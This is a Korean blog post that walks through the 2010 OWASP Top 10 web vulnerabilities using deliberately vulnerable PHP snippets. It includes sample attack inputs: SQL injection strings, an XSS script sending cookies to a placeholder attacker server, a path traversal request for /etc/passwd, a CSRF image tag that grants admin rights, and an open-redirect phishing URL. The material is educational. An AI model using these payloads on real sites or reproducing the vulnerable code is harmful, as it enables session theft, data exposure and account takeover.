개요
OWASP TOP 10은 매년 가장 위험한 10대 웹 보안 취약성을 소개하고 있는 프로젝트 문서이다. 본 글에서는 기존 OWASP에서 제공하고 있는 단순 서술 중심의 내용을 좀 더 보강하여 실제 취약한 코드를 위주로 내용을 재편성하여 기술하였다.
OWASP TOP 10 for 2010 은 다음과 같다.
| A1 - 인젝션 A2 - 크로스 사이트 스크립팅(XSS) A3 - 취약한 인증과 세션 관리 A4 - 안전하지 않은 직접 객체 참조 A5 - 크로스 사이트 요청 변조(CSRF) A6 - 보안상 잘못된 구성 A7 - 안전하지 않은 암호 저장 A8 - URL 접근 제한 실패 A9 - 불충분한 전송 계층 보호 A10 - 검증되지 않은 리다이렉트와 포워드 |
실제로 각각의 취약점이 어떠한 공격법을 의미하는지 알아보겠다.
A1 - 인젝션
Injection 은 Code Injection, SQL Injection, LDAP Injection, XPATH Injection.. 등 많은 알려진 Injection 기술을 칭한다.
그중 대표적인 SQL Injection 공격 기법은 다음과 같다.
Mysql 의 Query가 다음과 같을 때,
| $result = mysql_query("select * from member where id='$_GET[id]'"); |
ID 가 hellsonic 임을 가정해보면 쿼리는 아래와 같다.
| $result = mysql_query("select * from member where id='hellsonic'"); |
만약 공격자가 악의적인 목적으로 id 에 ' or '1'='1 (혹은 ' or 1=1# .. 등) 을 입력한다면 쿼리는 다음과 같고
| $result = mysql_query("select * from member where id='' or '1'='1'"); |
Mysql에서는 member table의 id가 ''(공백) 이거나 1이 1인 경우를 출력. 이라 해석되므로,
member 테이블의 모든 결과가 리턴될것이다.
(magic_quotes_gpc, firewall 등 모든 방어환경은 생략한다.)
A2 - 크로스 사이트 스크립팅(XSS)
XSS는 공격자가 피해자의 Javascript 실행을 허용함으로써 사용자의 쿠키, URL, 페이지 등 Javascript 범위내의 모든 역할을 수행시킬 수 있다.
대표적으로 세션을 가로채는 공격 시나리오는 다음과 같다.
1. cookie인자값을 log.txt에 기록하는 hack.php 작성
2. 공격자는 다음과 같은 스크립트를 게시판에 쓴다. (피해자가 볼 수 있는 페이지 어디든 좋다.)
| <script>window.location = 'http://[공격자서버]/hack.php?cookie='+encodeURIComponent(document.cookie)</script> |
3. 피해자는 위의 스크립트를 실행하고, 현재 자기자신의 쿠키값을 공격자서버의 hack.php 로 전달한다.
4. 공격자는 얻은 쿠키값을 이용하여, 피해자로 로그인한다.
A3 - 취약한 인증과 세션 관리
서버가 각 이용자의 정보를 유지하기 위해 Cookie 라는것을 사용한다.
세션과 같은 보호되지 않은 쿠키를 사용한다면, 쿠키를 변조하여 인증우회등 다양한 공격시나리오가 나올 수 있다.
취약 코드 admin.php
| <? if($_COOKIE[id] == "admin"){ // Admin Secret Information... }else{ // Access Denied } ?> |
공격자는 손쉽게 cookie 의 id값을 admin 으로 변조하여, 인증을 시킬수 있을것이다.
A4 - 안전하지 않은 직접 객체 참조
쇼핑몰에서 결제를 완료한뒤 영수증을 보려면 다음과 같은 주소를 갖는 경우가 존재한다.
| receipt.php?orderno=주문번호 |
PHP내부에 체크 루틴이 존재하지 않는다면
공격자는 주문번호를 수정하여, 자신의 주문이아닌 다른 이용자의 주문내역을 확인할 수 있을것이다.
혹은 다운로드시 다음과 같은 주소를 요청하는것을 보게되는데,
| download.php?file=myfile.zip |
이 또한 file을 직접 파일명을 받아 다운로드시키기때문에 아래와 같은 공격을 하여 파일 다운로드가 가능하다.
| download.php?file=../../../../etc/passwd |
A5 - 크로스 사이트 요청 변조(CSRF)
대부분의 웹 게시판들은 이미지 첨부를 위하여 이미지 태그를 허용한다 (예 . <IMG SRC=image.jpg>)
현재 페이지에 이미지 파일이 있으면, 그것을 GET method를 사용하여 요청하게되는데,
미리 알아둔 관리자권한을 주는 페이지의 주소를 넣고, 다음과 같이 게시판에 글을 등록하게되면
| <IMG SRC="http://target/admin/user_modify_ok.php?id=hellsonic&is_admin=1"> |
user_modify_ok.php 의 권한이 있는 관리자가 이미지 태그를 실행하게 되었을때,
해당 페이지를 요청하게되고, hellsonic 아이디가 관리자로 변경되게된다.
A6 - 보안상 잘못된 구성
공개 어플리케이션 혹은 솔루션을 사용중일때, 관리자 페이지의 기본 패스워드를 통한 접근,
디렉토리 리스팅을 통한 정보 획득 등 이 포함된다.
혹은 에러 기반의 공격법(Error Based SQL Injection 등)도 보안상 잘못된 구성이라고 할 수 있다.
A7 - 안전하지 않은 암호 저장
대부분의 사이트들이 사용자의 암호를 Hash로 저장하여 사용자가 입력한 값을 Hash하여 비교하는 방식으로
다음과 같이 로그인처리를 한다.
|
<? //... $result = mysql_query("select password from member"); $pwd = mysql_fetch_array($result); if($pwd[0] == md5($_POST[password])){ // Login OK }else{ // Access Denied } //... ?> |
이는 무작위대입공격 혹은 레인보우 테이블을 이용하여,
짧은 시간으로 암호를 크랙 할 수 있기때문에, 적절한 salt를 사용하여 암호화해야 한다.
A8 - URL 접근 제한 실패
관리자페이지가 다음과 같이 구성되어있다고 가정하자
| http://target/admin/index.php http://target/admin/login.php http://target/admin/member_info.php |
member_info.php 는 중요 정보를 담고 있는 페이지로써, login.php 에서 로그인이 허용된자 만이 접근할 수 있어야한다.
member_info.php 에 사용자(로그인) 체크를 하지 않는다면 공격자는 로그인을 거치치 않고 member_info.php 파일에 접근하여
중요 정보를 볼 수 있을 것이다.
A9 - 불충분한 전송 계층 보호
로그인에만 SSL을 사용하는 페이지가 있다면,
네트워크 모니터링을 통하여 로그인 이후의 사용자의 패킷(none SSL)의 쿠키를 훔쳐와 사용자로 인증 할 수 있을것이다.
SSL을 사용하려면 인증을 필요로하는 모든 페이지에 SSL 암호를 사용해야한다
A10 - 검증되지 않은 리다이렉트와 포워드
사용자 인증을 필요로 하는 페이지에 접근을 하면, 사이트는 로그인 페이지로 이동시킨뒤 로그인에 성공하면 다시 이전 페이지로 돌아가기위해 redirect페이지 주소를 받게된다.
| http://target/login.php?redirect=http://target/information.php |
만약 공격자가 아래와 같이 목적 파라미터를 피싱 사이트로 변조하여 피해자에게 전송한다면
| http://target/login.php?redirect=http://fishing/target.php |
피해자는 URL의 도메인을 보고 피싱 사이트라고 생각을 못하지만, 접속을 하여 로그인을 거치면 피싱사이트로 이동하게 된다.
또한 극단적인 상황에선(GET method,header redirect) 리퍼러를 이용하여 사용자의 로그인 정보를 훔칠 수 있게된다.
'Paper' 카테고리의 다른 글
| OWASP TOP 10 for 2010 (0) | 2012/03/15 |
|---|---|
| Zeroboard XE 시스템 권한 획득 취약성 (0) | 2012/02/14 |
| 2th Holyshield 2011 Writeup (0) | 2011/11/22 |
| 10th HUST Hacking Festival 2011 Writeup (2) | 2011/10/06 |
